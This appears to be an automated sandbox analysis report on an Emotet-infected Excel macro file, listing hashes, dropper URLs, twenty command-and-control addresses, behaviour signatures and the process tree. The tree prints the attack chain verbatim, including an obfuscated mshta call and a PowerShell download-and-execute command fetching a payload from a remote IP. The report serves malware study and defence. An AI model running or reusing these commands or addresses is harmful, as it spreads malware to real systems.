Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    19-01-2022 22:09

General

  • Target

    96532927739985571.xlsm

  • Size

    115KB

  • MD5

    383a3c7cdb5a9070656164e0b90e41a5

  • SHA1

    af0b4eedbd1c6d85705c26ebb3955f8b35a8cea8

  • SHA256

    c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0

  • SHA512

    c37692e7c9a60fcda701450a620f09c0c95db6e6a1ee3188c2897d09a621d80e3f0fb539506f458ab5c20a7e5adc8adfbe2bcad0860c4bb9484f6292eb391b9c

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\96532927739985571.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1484
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1168
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1828
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:1076
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1736
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1620
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:908
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1604
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zswpdqkhvalmwog\bcfgqvfyblh.ndh",kbwiDlp
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1768
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zswpdqkhvalmwog\bcfgqvfyblh.ndh",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1488

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/908-70-0x00000000001C0000-0x00000000001E8000-memory.dmp

      Filesize

      160KB

    • memory/1168-59-0x000007FEFB631000-0x000007FEFB633000-memory.dmp

      Filesize

      8KB

    • memory/1484-58-0x0000000074B21000-0x0000000074B23000-memory.dmp

      Filesize

      8KB

    • memory/1484-55-0x000000002FA21000-0x000000002FA24000-memory.dmp

      Filesize

      12KB

    • memory/1484-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1484-56-0x0000000070C81000-0x0000000070C83000-memory.dmp

      Filesize

      8KB

    • memory/1488-97-0x0000000000330000-0x0000000000358000-memory.dmp

      Filesize

      160KB

    • memory/1488-107-0x00000000020F0000-0x0000000002118000-memory.dmp

      Filesize

      160KB

    • memory/1488-105-0x0000000000B20000-0x0000000000B48000-memory.dmp

      Filesize

      160KB

    • memory/1488-103-0x0000000000A60000-0x0000000000A88000-memory.dmp

      Filesize

      160KB

    • memory/1488-101-0x0000000000980000-0x00000000009A8000-memory.dmp

      Filesize

      160KB

    • memory/1488-99-0x0000000000450000-0x0000000000478000-memory.dmp

      Filesize

      160KB

    • memory/1604-81-0x0000000001F30000-0x0000000001F58000-memory.dmp

      Filesize

      160KB

    • memory/1604-87-0x00000000027B0000-0x00000000027D8000-memory.dmp

      Filesize

      160KB

    • memory/1604-90-0x00000000028B0000-0x00000000028D8000-memory.dmp

      Filesize

      160KB

    • memory/1604-85-0x0000000002540000-0x0000000002568000-memory.dmp

      Filesize

      160KB

    • memory/1604-83-0x0000000002410000-0x0000000002438000-memory.dmp

      Filesize

      160KB

    • memory/1604-79-0x0000000001ED0000-0x0000000001EF8000-memory.dmp

      Filesize

      160KB

    • memory/1604-77-0x00000000002C0000-0x00000000002E8000-memory.dmp

      Filesize

      160KB

    • memory/1736-63-0x0000000002420000-0x000000000306A000-memory.dmp

      Filesize

      12.3MB

    • memory/1736-62-0x0000000002420000-0x000000000306A000-memory.dmp

      Filesize

      12.3MB

    • memory/1768-92-0x00000000001B0000-0x00000000001D8000-memory.dmp

      Filesize

      160KB